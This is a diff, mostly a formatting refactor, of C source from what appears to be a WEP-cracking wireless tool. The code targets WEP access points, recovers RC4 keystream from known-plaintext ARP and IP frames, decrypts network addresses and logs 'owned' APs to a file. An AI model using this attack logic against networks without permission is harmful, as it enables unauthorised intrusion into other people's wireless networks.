-	struct tm *tm;
+	struct tm * tm;
 
-	if (gettimeofday(&now, NULL) == -1)
-		err(1, "gettimeofday()");
+	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
 	t = time(NULL);
-	if (t == (time_t)-1)
-		err(1, "time()");
+	if (t == (time_t) -1) err(1, "time()");
 	tm = localtime(&t);
-	if (!tm)
-		err(1, "localtime()");
+	if (!tm) err(1, "localtime()");
 
 	printf("[%.2d:%.2d:%.2d.%.6lu] ",
-	       tm->tm_hour, tm->tm_min, tm->tm_sec, (long unsigned int)now.tv_usec);
+		   tm->tm_hour,
+		   tm->tm_min,
+		   tm->tm_sec,
+		   (long unsigned int) now.tv_usec);
 
 	va_start(ap, fmt);
 	vprintf(fmt, ap);
 	va_end(ap);
 }
 
-void hexdump(void *x, int len)
+static void mac2str(char * str, unsigned char * m, int macsize)
 {
-	unsigned char *p = x;
-
-	while (len--)
-		printf("%.2X ", *p++);
-	printf("\n");
+	snprintf(str,
+			 macsize,
+			 "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
+			 m[0],
+			 m[1],
+			 m[2],
+			 m[3],
+			 m[4],
+			 m[5]);
 }
 
-void mac2str(char *str, unsigned char* m, int macsize)
+static int str2mac(unsigned char * mac, char * str)
 {
-        snprintf(str, macsize, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
-                m[0], m[1], m[2], m[3], m[4], m[5]);
-}
-
-int str2mac(unsigned char *mac, char *str)
-{
-        unsigned int macf[6];
-        int i;
+	unsigned int macf[6];
+	int i;
 
-        if (sscanf(str, "%x:%x:%x:%x:%x:%x",
-                   &macf[0], &macf[1], &macf[2],
-                   &macf[3], &macf[4], &macf[5]) != 6)
-                return -1;
+	if (sscanf(str,
+			   "%x:%x:%x:%x:%x:%x",
+			   &macf[0],
+			   &macf[1],
+			   &macf[2],
+			   &macf[3],
+			   &macf[4],
+			   &macf[5])
+		!= 6)
+		return -1;
 
-        for (i = 0; i < 6; i++)
-                *mac++ = (char) macf[i];
+	for (i = 0; i < 6; i++) *mac++ = (char) macf[i];
 
-        return 0;
+	return 0;
 }
 
-void init_defaults(struct east_state *es)
+static void init_defaults(struct east_state * es)
 {
 	memset(es, 0, sizeof(*es));
 
 	memcpy(es->es_mymac, "\x00\x00\xde\xfa\xce\x0d", 6);
 	es->es_setmac = 0;
-	strncpy(es->es_ifname, "specify_interface", sizeof(es->es_ifname)-1);
+	strncpy(es->es_ifname, "specify_interface", sizeof(es->es_ifname) - 1);
 
 	es->es_state = S_SEARCHING;
 	es->es_hopfreq = 100; /* ms */
@@ -238,13 +243,13 @@
 	es->es_udp_port = S_DEFAULT_UDP_PORT;
 }
 
-void reset(struct east_state *es)
+static void reset(struct east_state * es)
 {
 	int sz;
-	void *ptr;
-	struct rpacket *p;
-	struct owned *ow;
-	FILE *f;
+	void * ptr;
+	struct rpacket * p;
+	struct owned * ow;
+	FILE * f;
 	char mac[18];
 
 	/* close buddy */
@@ -253,32 +258,35 @@
 
 	/* reset state */
 	ptr = es->es_apmac;
-	sz = sizeof(*es) - ((unsigned long)ptr - (unsigned long)es);
+	sz = sizeof(*es) - ((unsigned long) ptr - (unsigned long) es);
 	memset(ptr, 0, sz);
 
 	/* fixup state */
 	es->es_clearpnext = es->es_clearp = es->es_clear;
 	p = es->es_rqueue;
-	while (p) {
+	while (p)
+	{
 		p->rp_len = 0;
 		p = p->rp_next;
 	}
 
 	/* log ownage */
 	ow = malloc(sizeof(*ow));
-	if (!ow)
-		err(1, "malloc()");
+	if (!ow) err(1, "malloc()");
 	memset(ow, 0, sizeof(*ow));
 	memcpy(ow->ow_mac, es->es_apmac, sizeof(ow->ow_mac));
 	ow->ow_next = es->es_owned;
 	es->es_owned = ow;
 
 	f = fopen(S_OWN_LOG, "a");
-	if (!f)
-		err(1, "fopen()");
+	if (!f) err(1, "fopen()");
 	mac2str(mac, es->es_apmac, sizeof(mac));
-	fprintf(f, "%s %d %s %s\n", mac, es->es_apchan, es->es_apssid,
-		inet_ntoa(es->es_pubip));
+	fprintf(f,
+			"%s %d %s %s\n",
+			mac,
+			es->es_apchan,
+			es->es_apssid,
+			inet_ntoa(es->es_pubip));
 	fclose(f);
 
 	/* start over */
@@ -288,188 +296,186 @@
 
 /********** RIPPED
 ************/
-unsigned short in_cksum (unsigned short *ptr, int nbytes) {
-  register long sum;
-  u_short oddbyte;
-  register u_short answer;
-
-  sum = 0;
-  while (nbytes > 1)
-    {
-      sum += *ptr++;
-      nbytes -= 2;
-    }
-
-  if (nbytes == 1)
-    {
-      oddbyte = 0;
-      *((u_char *) & oddbyte) = *(u_char *) ptr;
-      sum += oddbyte;
-    }
-
-  sum = (sum >> 16) + (sum & 0xffff);
-  sum += (sum >> 16);
-  answer = ~sum;
-  return (answer);
+static unsigned short in_cksum(unsigned short * ptr, int nbytes)
+{
+	register long sum;
+	u_short oddbyte;
+	register u_short answer;
+
+	sum = 0;
+	while (nbytes > 1)
+	{
+		sum += *ptr++;
+		nbytes -= 2;
+	}
+
+	if (nbytes == 1)
+	{
+		oddbyte = 0;
+		*((u_char *) &oddbyte) = *(u_char *) ptr;
+		sum += oddbyte;
+	}
+
+	sum = (sum >> 16) + (sum & 0xffff);
+	sum += (sum >> 16);
+	answer = ~sum;
+	return (answer);
 }
 /**************
 ************/
 
-void open_wifi(struct east_state *es)
+static void open_wifi(struct east_state * es)
 {
-	struct wif *wi;
+	struct wif * wi;
 
 	wi = wi_open(es->es_ifname);
-	if (!wi)
-		err(1, "wi_open()");
+	if (!wi) err(1, "wi_open()");
 
 	assert(es->es_wi == NULL);
 	es->es_wi = wi;
 }
 
-void open_tap(struct east_state *es) {
-	struct tif *ti;
-	char *iface = NULL;
+static void open_tap(struct east_state * es)
+{
+	struct tif * ti;
+	char * iface = NULL;
 
-	if (es->es_tapname[0])
-		iface = es->es_tapname;
+	if (es->es_tapname[0]) iface = es->es_tapname;
 
 	ti = ti_open(iface);
-	if (!ti)
-		err(1, "ti_open()");
+	if (!ti) err(1, "ti_open()");
 
-        strncpy(es->es_tapname, ti_name(ti), sizeof(es->es_tapname) - 1);
+	strncpy(es->es_tapname, ti_name(ti), sizeof(es->es_tapname) - 1);
 	es->es_tapname[sizeof(es->es_tapname) - 1] = 0;
 
 	printf("Setting tap MTU\n");
-	if (ti_set_mtu(ti, S_MTU - 50) == -1)
-		err(1, "ti_set_mtu()");
+	if (ti_set_mtu(ti, S_MTU - 50) == -1) err(1, "ti_set_mtu()");
 
 	es->es_ti = ti;
 }
 
-void set_mac(struct east_state *es)
+static void set_mac(struct east_state * es)
 {
 	printf("Sorting out wifi MAC\n");
-	if (!es->es_setmac) {
+	if (!es->es_setmac)
+	{
 		char mac[18];
 
-		if (wi_get_mac(es->es_wi, es->es_mymac) == -1)
-			err(1, "wi_get_mac()");
+		if (wi_get_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_get_mac()");
 		mac2str(mac, es->es_mymac, sizeof(mac));
 		printf("MAC is %s\n", mac);
-
-	} else if (wi_set_mac(es->es_wi, es->es_mymac) == -1)
+	}
+	else if (wi_set_mac(es->es_wi, es->es_mymac) == -1)
 		err(1, "wi_set_mac()");
 
 	printf("Setting tap MAC\n");
-	if (ti_set_mac(es->es_ti, es->es_mymac) == -1)
-		err(1, "ti_set_mac()");
+	if (ti_set_mac(es->es_ti, es->es_mymac) == -1) err(1, "ti_set_mac()");
 }
 
-void set_tap_ip(struct east_state *es)
+static void set_tap_ip(struct east_state * es)
 {
-	if (ti_set_ip(es->es_ti, &es->es_myip) == -1)
-		err(1, "ti_set_ip()");
+	if (ti_set_ip(es->es_ti, &es->es_myip) == -1) err(1, "ti_set_ip()");
 }
 
-void die(char *m)
+static void die(char * m)
 {
-	struct east_state *es = &_es;
+	struct east_state * es = &_es;
 
 	printf("Dying: %s\n", m);
-	if (es->es_wi)
-		wi_close(es->es_wi);
-	if (es->es_ti)
-		ti_close(es->es_ti);
+	if (es->es_wi) wi_close(es->es_wi);
+	if (es->es_ti) ti_close(es->es_ti);
 
 	exit(0);
 }
 
-void sighand(int sig)
+static void sighand(int sig)
 {
-	if (sig) {} /* XXX unused */
+	if (sig)
+	{
+	} /* XXX unused */
 	die("signal");
 }
 
-void set_chan(struct east_state *es)
+static void set_chan(struct east_state * es)
 {
 	int chan = es->es_chanlock ? es->es_chanlock : es->es_apchan;
 
-	if (wi_set_channel(es->es_wi, chan) == -1)
-		err(1, "wi_set_channel");
+	if (wi_set_channel(es->es_wi, chan) == -1) err(1, "wi_set_channel");
 }
 
-void clear_timeout(struct east_state *es)
+static void clear_timeout(struct east_state * es)
 {
 	memset(&es->es_txlast, 0, sizeof(es->es_txlast));
 }
 
-void read_beacon(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+read_beacon(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t) (wh+1);
+	ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t)(wh + 1);
 	u_int16_t capa;
 	int bhlen = 12;
 	int got_ssid = 0, got_channel = 0;
-	struct owned *own = es->es_owned;
+	struct owned * own = es->es_owned;
 
 	len -= sizeof(*wh) + bhlen;
-	if (len < 0) {
+	if (len < 0)
+	{
 		printf("Short beacon %d\n", len);
 		return;
 	}
 
-	if (es->es_state != S_SEARCHING)
-		return;
+	if (es->es_state != S_SEARCHING) return;
 
 	/* only wep */
 	capa = IEEE80211_BEACON_CAPABILITY(b);
-	if (!((capa & IEEE80211_CAPINFO_PRIVACY) &&
-	    (capa & IEEE80211_CAPINFO_ESS)))
+	if (!((capa & IEEE80211_CAPINFO_PRIVACY) && (capa & IEEE80211_CAPINFO_ESS)))
 		return;
 
 	/* lookin for a specific dude */
-	if (memcmp(es->es_apmac, "\x00\x00\x00\x00\x00\x00", 6) != 0) {
-		if (memcmp(es->es_apmac, wh->i_addr3, 6) != 0)
-			return;
+	if (memcmp(es->es_apmac, "\x00\x00\x00\x00\x00\x00", 6) != 0)
+	{
+		if (memcmp(es->es_apmac, wh->i_addr3, 6) != 0) return;
 	}
 
 	/* check if we already owned him */
-	while (own) {
-		if (memcmp(wh->i_addr3, own->ow_mac, 6) == 0)
-			return;
+	while (own)
+	{
+		if (memcmp(wh->i_addr3, own->ow_mac, 6) == 0) return;
 
 		own = own->ow_next;
 	}
 
 	/* SSID and channel */
 	b += bhlen;
-	while (len > 1) {
+	while (len > 1)
+	{
 		unsigned char ie_len = b[1];
 
 		len -= 2 + ie_len;
-		if (len < 0) {
+		if (len < 0)
+		{
 			printf("Short IE %d %d\n", len, ie_len);
 			return;
 		}
 
-		switch (b[0]) {
-		case IEEE80211_ELEMID_SSID:
-			if (!got_ssid) {
-				strncpy(es->es_apssid, (char*) &b[2], ie_len);
-				es->es_apssid[ie_len] = 0;
-				if (strlen(es->es_apssid))
-					got_ssid = 1;
-			}
-			break;
-
-		case IEEE80211_ELEMID_DSPARMS:
-			if (!got_channel)
-				got_channel = b[2];
-			break;
+		switch (b[0])
+		{
+			case IEEE80211_ELEMID_SSID:
+				if (!got_ssid)
+				{
+					strncpy(es->es_apssid, (char *) &b[2], ie_len);
+					es->es_apssid[ie_len] = 0;
+					if (strlen(es->es_apssid)) got_ssid = 1;
+				}
+				break;
+
+			case IEEE80211_ELEMID_DSPARMS:
+				if (!got_channel) got_channel = b[2];
+				break;
 		}
 
-		if (got_ssid && got_channel) {
+		if (got_ssid && got_channel)
+		{
 			char str[18];
 
 			memcpy(es->es_apmac, wh->i_addr3, sizeof(es->es_apmac));
@@ -477,10 +483,11 @@
 			es->es_state = S_SENDAUTH;
 			mac2str(str, es->es_apmac, sizeof(str));
 			printf("\nSSID %s Chan %d Mac %s\n",
-			       es->es_apssid, es->es_apchan, str);
+				   es->es_apssid,
+				   es->es_apchan,
+				   str);
 
-			if (!es->es_chanlock)
-				set_chan(es);
+			if (!es->es_chanlock) set_chan(es);
 			return;
 		}
 
@@ -488,43 +495,46 @@
 	}
 }
 
-int for_me_and_from_ap(struct east_state *es, struct ieee80211_frame *wh)
+static int for_me_and_from_ap(struct east_state * es,
+							  struct ieee80211_frame * wh)
 {
-	if (memcmp(wh->i_addr1, es->es_mymac, 6) != 0)
-		return 0;
+	if (memcmp(wh->i_addr1, es->es_mymac, 6) != 0) return 0;
 
-	if (memcmp(wh->i_addr2, es->es_apmac, 6) != 0)
-		return 0;
+	if (memcmp(wh->i_addr2, es->es_apmac, 6) != 0) return 0;
 
 	return 1;
 }
 
-void read_auth(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+read_auth(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	unsigned short *sp = (unsigned short*) (wh+1);
+	unsigned short * sp = (unsigned short *) (wh + 1);
 
-	if (len) {} /* XXX unused */
+	if (len)
+	{
+	} /* XXX unused */
 
-	if (es->es_state != S_SENDAUTH)
-		return;
+	if (es->es_state != S_SENDAUTH) return;
 
-	if (!for_me_and_from_ap(es, wh))
-		return;
+	if (!for_me_and_from_ap(es, wh)) return;
 
-	if (le16toh(*sp) != 0) {
+	if (le16toh(*sp) != 0)
+	{
 		printf("weird auth algo: %d\n", le16toh(*sp));
 		return;
 	}
 
 	sp++;
-	if (le16toh(*sp) != 2) {
+	if (le16toh(*sp) != 2)
+	{
 		printf("weird auth transno: %d\n", le16toh(*sp));
 		return;
 	}
 
 	sp++;
-	if (le16toh(*sp) != 0) {
-		printf("Auth unsuccesful %d\n", le16toh(*sp));
+	if (le16toh(*sp) != 0)
+	{
+		printf("Auth unsuccessful %d\n", le16toh(*sp));
 		exit(1);
 	}
 
@@ -532,68 +542,71 @@
 	es->es_state = S_SENDASSOC;
 }
 
-int is_dup(struct east_state *es, struct ieee80211_frame *wh)
+static int is_dup(struct east_state * es, struct ieee80211_frame * wh)
 {
-	unsigned short *sn = (unsigned short*) &wh->i_seq[0];
+	unsigned short * sn = (unsigned short *) &wh->i_seq[0];
 	unsigned short s;
 
 	s = (le16toh(*sn) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
 
-	if (s == es->es_rxseq)
-		return 1;
+	if (s == es->es_rxseq) return 1;
 
 	es->es_rxseq = s;
 	return 0;
 }
 
-void read_deauth(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+read_deauth(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	unsigned short *sp = (unsigned short*) (wh+1);
+	unsigned short * sp = (unsigned short *) (wh + 1);
 
-	if (len) {} /* XXX unused */
+	if (len)
+	{
+	} /* XXX unused */
 
-	if (!for_me_and_from_ap(es, wh))
-		return;
+	if (!for_me_and_from_ap(es, wh)) return;
 
-	if (is_dup(es, wh))
-		return;
+	if (is_dup(es, wh)) return;
 
 	printf("Deauth: %d\n", le16toh(*sp));
 	es->es_state = S_SENDAUTH;
 }
 
-void read_disassoc(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+read_disassoc(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	unsigned short *sp = (unsigned short*) (wh+1);
+	unsigned short * sp = (unsigned short *) (wh + 1);
 
-	if (len) {} /* XXX unused */
+	if (len)
+	{
+	} /* XXX unused */
 
-	if (!for_me_and_from_ap(es, wh))
-		return;
+	if (!for_me_and_from_ap(es, wh)) return;
 
-	if (is_dup(es, wh))
-		return;
+	if (is_dup(es, wh)) return;
 
 	printf("Disassoc: %d\n", le16toh(*sp));
 	es->es_state = S_SENDASSOC;
 }
 
-void read_assoc_resp(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+read_assoc_resp(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	unsigned short *sp = (unsigned short*) (wh+1);
+	unsigned short * sp = (unsigned short *) (wh + 1);
 
-	if (len) {} /* XXX unused */
+	if (len)
+	{
+	} /* XXX unused */
 
-	if (es->es_state != S_SENDASSOC)
-		return;
+	if (es->es_state != S_SENDASSOC) return;
 
-	if (!for_me_and_from_ap(es, wh))
-		return;
+	if (!for_me_and_from_ap(es, wh)) return;
 
 	sp++; /* capa */
 
 	/* sc */
-	if (le16toh(*sp) != 0) {
+	if (le16toh(*sp) != 0)
+	{
 		printf("Assoc unsuccessful %d\n", le16toh(*sp));
 		exit(1);
 	}
@@ -605,86 +618,93 @@
 	es->es_expand_num = -1;
 }
 
-void read_mgt(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+read_mgt(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	if (len < (int) sizeof(*wh)) {
+	if (len < (int) sizeof(*wh))
+	{
 		printf("Short mgt %d\n", len);
 		return;
 	}
 
-	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
-	case IEEE80211_FC0_SUBTYPE_BEACON:
-	case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
-		read_beacon(es, wh, len);
-		break;
+	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+	{
+		case IEEE80211_FC0_SUBTYPE_BEACON:
+		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+			read_beacon(es, wh, len);
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_AUTH:
-		read_auth(es, wh, len);
-		break;
+		case IEEE80211_FC0_SUBTYPE_AUTH:
+			read_auth(es, wh, len);
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
-	case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
-		break;
+		case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
+		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_DEAUTH:
-		read_deauth(es, wh, len);
-		break;
+		case IEEE80211_FC0_SUBTYPE_DEAUTH:
+			read_deauth(es, wh, len);
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_DISASSOC:
-		read_disassoc(es, wh, len);
-		break;
+		case IEEE80211_FC0_SUBTYPE_DISASSOC:
+			read_disassoc(es, wh, len);
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
-		read_assoc_resp(es, wh, len);
-		break;
+		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
+			read_assoc_resp(es, wh, len);
+			break;
 
-	default:
-		printf("Unknown mgmt subtype %x\n",
-		       wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
-		break;
+		default:
+			printf("Unknown mgmt subtype %x\n",
+				   wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
+			break;
 	}
 }
 
-void read_ack(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+read_ack(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	if (len) {} /* XXX unused */
+	if (len)
+	{
+	} /* XXX unused */
 
-	if (memcmp(wh->i_addr1, es->es_mymac, sizeof(wh->i_addr1)) != 0)
-		return;
+	if (memcmp(wh->i_addr1, es->es_mymac, sizeof(wh->i_addr1)) != 0) return;
 
 	es->es_txack = 1;
-//	printf("Ack\n");
+	//	printf("Ack\n");
 }
 
-void read_ctl(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+read_ctl(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
-	case IEEE80211_FC0_SUBTYPE_ACK:
-		read_ack(es, wh, len);
-		break;
+	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+	{
+		case IEEE80211_FC0_SUBTYPE_ACK:
+			read_ack(es, wh, len);
+			break;
 
-	case IEEE80211_FC0_SUBTYPE_RTS:
-	case IEEE80211_FC0_SUBTYPE_CTS:
-	case IEEE80211_FC0_SUBTYPE_PS_POLL:
-	case IEEE80211_FC0_SUBTYPE_CF_END:
-		break;
+		case IEEE80211_FC0_SUBTYPE_RTS:
+		case IEEE80211_FC0_SUBTYPE_CTS:
+		case IEEE80211_FC0_SUBTYPE_PS_POLL:
+		case IEEE80211_FC0_SUBTYPE_CF_END:
+			break;
 
-	default:
-		printf("Unknown ctl subtype %x\n",
-		       wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
-		break;
+		default:
+			printf("Unknown ctl subtype %x\n",
+				   wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
+			break;
 	}
 }
 
-int our_network(struct east_state *es, struct ieee80211_frame *wh)
+static int our_network(struct east_state * es, struct ieee80211_frame * wh)
 {
-	void *bssid = (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ?
-			wh->i_addr2 : wh->i_addr1;
+	void * bssid
+		= (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ? wh->i_addr2 : wh->i_addr1;
 
 	return memcmp(es->es_apmac, bssid, sizeof(es->es_apmac)) == 0;
 }
 
-void xor(void *out, void *clear, void *cipher, int len)
+static void xor(void *out, void *clear, void *cipher, int len)
 {
 	unsigned char *cl = (unsigned char*) clear;
 	unsigned char *ci = (unsigned char*) cipher;
@@ -694,13 +714,16 @@
 		*o++ = *cl++ ^ *ci++;
 }
 
-void save_prga(struct east_state *es)
+static void save_prga(struct east_state *es)
 {
 	int fd, rc;
 
 	assert(es->es_prgalen <= (int) sizeof(es->es_prga));
 	printf_time("Got %d bytes of PRGA IV [%.2X:%.2X:%.2X]",
-	       	    es->es_prgalen, es->es_iv[0], es->es_iv[1], es->es_iv[2]);
+				es->es_prgalen,
+				es->es_iv[0],
+				es->es_iv[1],
+				es->es_iv[2]);
 
 #if 0
 	printf(": ");
@@ -710,35 +733,37 @@
 	printf("\n");
 
 	fd = open(S_PRGA_LOG, O_WRONLY | O_CREAT, 0644);
-	if (fd == -1)
-		err(1, "save_prga: open()");
+	if (fd == -1) err(1, "save_prga: open()");
 
 	rc = write(fd, es->es_iv, 3);
-	if (rc != 3) {
+	if (rc != 3)
+	{
 		printf("save_prga: can't write IV\n");
 		exit(1);
 	}
 	rc = write(fd, es->es_prga, es->es_prgalen);
-	if (rc != es->es_prgalen) {
+	if (rc != es->es_prgalen)
+	{
 		printf("save_prga: can't write PRGA\n");
 		exit(1);
 	}
 	close(fd);
 }
 
-int is_arp(struct ieee80211_frame *wh, int len)
+static int is_arp(struct ieee80211_frame * wh, int len)
 {
-	int arpsize = 8 + sizeof(struct arphdr) + 10*2;
+	int arpsize = 8 + sizeof(struct arphdr) + 10 * 2;
 
-	if (wh) {} /* XXX unused */
+	if (wh)
+	{
+	} /* XXX unused */
 
-	if (len == arpsize || len == 54)
-		return 1;
+	if (len == arpsize || len == 54) return 1;
 
 	return 0;
 }
 
-void *get_sa(struct ieee80211_frame *wh)
+static void * get_sa(struct ieee80211_frame * wh)
 {
 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
 		return wh->i_addr3;
@@ -746,7 +771,7 @@
 		return wh->i_addr2;
 }
 
-void *get_da(struct ieee80211_frame *wh)
+static void * get_da(struct ieee80211_frame * wh)
 {
 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
 		return wh->i_addr1;
@@ -754,12 +779,13 @@
 		return wh->i_addr3;
 }
 
-int known_clear(void *clear, struct ieee80211_frame *wh, int len)
+static int known_clear(void * clear, struct ieee80211_frame * wh, int len)
 {
-	unsigned char *ptr = clear;
+	unsigned char * ptr = clear;
 
 	/* IP */
-	if (!is_arp(wh, len)) {
+	if (!is_arp(wh, len))
+	{
 		unsigned short iplen = htons(len - 8);
 
 		printf("Assuming IP %d\n", len);
@@ -775,7 +801,7 @@
 		memcpy(ptr, &iplen, len);
 		ptr += len;
 #endif
-		len = ptr - ((unsigned char*)clear);
+		len = ptr - ((unsigned char *) clear);
 		return len;
 	}
 	printf("Assuming ARP %d\n", len);
@@ -803,20 +829,22 @@
 	memcpy(ptr, get_sa(wh), len);
 	ptr += len;
 
-	len = ptr - ((unsigned char*)clear);
+	len = ptr - ((unsigned char *) clear);
 	return len;
 }
 
-void base_prga(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+base_prga(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
 	unsigned char ct[1024];
-	unsigned char *data = (unsigned char*) (wh+1);
+	unsigned char * data = (unsigned char *) (wh + 1);
 	int prgalen;
 
 	memcpy(es->es_iv, data, 3);
 	data += 4;
 	len -= 4 + 4; /* IV & CRC */
-	if (len <= 0) {
+	if (len <= 0)
+	{
 		printf("base_prga: lame len %d\n", len);
 		return;
 	}
@@ -829,7 +857,7 @@
 	save_prga(es);
 }
 
-unsigned int get_crc32(void *data, int len)
+static unsigned int get_crc32(void * data, int len)
 {
 	uLong crc;
 
@@ -838,31 +866,26 @@
 	return crc;
 }
 
-void check_expand(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+check_expand(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
 	int elen;
 	unsigned long crc;
-	unsigned char *data = (unsigned char*) (wh+1);
+	unsigned char * data = (unsigned char *) (wh + 1);
 
-	if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS))
-		return;
+	if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) return;
 
-	if (memcmp(es->es_apmac, wh->i_addr2, 6) != 0)
-		return;
+	if (memcmp(es->es_apmac, wh->i_addr2, 6) != 0) return;
 
-	if (memcmp(es->es_mymac, wh->i_addr3, 6) != 0)
-		return;
+	if (memcmp(es->es_mymac, wh->i_addr3, 6) != 0) return;
 
-	if (memcmp("\xff\xff\xff\xff\xff\xff", wh->i_addr1, 6) != 0)
-		return;
+	if (memcmp("\xff\xff\xff\xff\xff\xff", wh->i_addr1, 6) != 0) return;
 
 	elen = es->es_expand_len;
 
-	if (elen != (len-4))
-		return;
+	if (elen != (len - 4)) return;
 
-	if (elen <= es->es_prgalen)
-		return;
+	if (elen <= es->es_prgalen) return;
 
 	/* iv */
 	memcpy(es->es_iv, data, 3);
@@ -879,35 +902,32 @@
 	xor(&es->es_prga[elen], &crc, data + elen, 4);
 
 	save_prga(es);
-	if (es->es_prgalen == sizeof(es->es_prga))
-		es->es_astate = AS_FIND_IP;
+	if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP;
 }
 
-int to_me(struct east_state *es, struct ieee80211_frame *wh)
+static int to_me(struct east_state * es, struct ieee80211_frame * wh)
 {
-	return (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
-	       memcmp(es->es_mymac, get_da(wh), 6) == 0;
+	return (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		   && memcmp(es->es_mymac, get_da(wh), 6) == 0;
 }
 
-int from_me(struct east_state *es, struct ieee80211_frame *wh)
+static int from_me(struct east_state * es, struct ieee80211_frame * wh)
 {
 	return memcmp(es->es_mymac, get_sa(wh), 6) == 0;
 }
 
-int check_decrypt(struct east_state *es, struct ieee80211_frame *wh, int len)
+static int
+check_decrypt(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
 	int elen;
 
-	if (!from_me(es, wh))
-		return 0;
+	if (!from_me(es, wh)) return 0;
 
-	if (memcmp(wh->i_addr1, S_MCAST, 5) != 0)
-		return 0;
+	if (memcmp(wh->i_addr1, S_MCAST, 5) != 0) return 0;
 
 	elen = es->es_prga_dlen + 1;
 
-	if (elen != (len - 4))
-		return 0;
+	if (elen != (len - 4)) return 0;
 
 	es->es_prga_d[es->es_prga_dlen] = wh->i_addr1[5];
 #if 0
@@ -920,24 +940,24 @@
 	return 1;
 }
 
-void decrypt_ip_addr(struct east_state *es, void *dst, int *len,
-		     void *cipher, int off)
+static void decrypt_ip_addr(
+	struct east_state * es, void * dst, int * len, void * cipher, int off)
 {
-	unsigned char *c = cipher;
+	unsigned char * c = cipher;
 
 	*len = es->es_prga_dlen - off;
-	if (*len > 4)
-		*len = 4;
+	if (*len > 4) *len = 4;
 	assert(*len > 0);
 	xor(dst, c + off, es->es_prga_d + off, *len);
 }
 
-void found_net_addr(struct east_state *es, unsigned char *a)
+static void found_net_addr(struct east_state * es, unsigned char * a)
 {
 	unsigned char ip[4];
 
 	memcpy(ip, a, 3);
-	if (!ip[0]) {
+	if (!ip[0])
+	{
 		printf("Shit, prolly got a lame dhcp dude\n");
 		exit(1);
 	}
@@ -953,39 +973,38 @@
 	es->es_astate = AS_FIND_RTR_MAC;
 }
 
-void check_decrypt_arp(struct east_state *es, struct ieee80211_frame *wh,
-		       int len)
+static void
+check_decrypt_arp(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
 	unsigned char ip[4];
 	int iplen;
 	int off = 8 + sizeof(struct arphdr) + 6;
-	unsigned char *data;
+	unsigned char * data;
 	int i;
 
-	if (!check_decrypt(es, wh, len))
-		return;
+	if (!check_decrypt(es, wh, len)) return;
 
 	iplen = es->es_prga_dlen - off;
 	assert(iplen > 0 && iplen <= (int) sizeof(ip));
 
-	data = (unsigned char*)(((struct ieee80211_frame*)es->es_packet_arp)+1);
-	data += + 4 + off;
+	data = (unsigned char *) (((struct ieee80211_frame *) es->es_packet_arp)
+							  + 1);
+	data += +4 + off;
 	xor(ip, data, &es->es_prga_d[off], iplen);
 
 	printf("\nARP IP so far: ");
-	for (i = 0; i < iplen; i++) {
+	for (i = 0; i < iplen; i++)
+	{
 		printf("%d", ip[i]);
-		if ((i+1) < iplen)
-			printf(".");
+		if ((i + 1) < iplen) printf(".");
 	}
 	printf("\n");
 
-	if (iplen == 3)
-		found_net_addr(es, ip);
+	if (iplen == 3) found_net_addr(es, ip);
 }
 
-void check_decrypt_ip(struct east_state *es, struct ieee80211_frame *wh,
-		      int len)
+static void
+check_decrypt_ip(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
 	int off_ip = 8;
 	int off_id = off_ip + 4;
@@ -994,12 +1013,12 @@
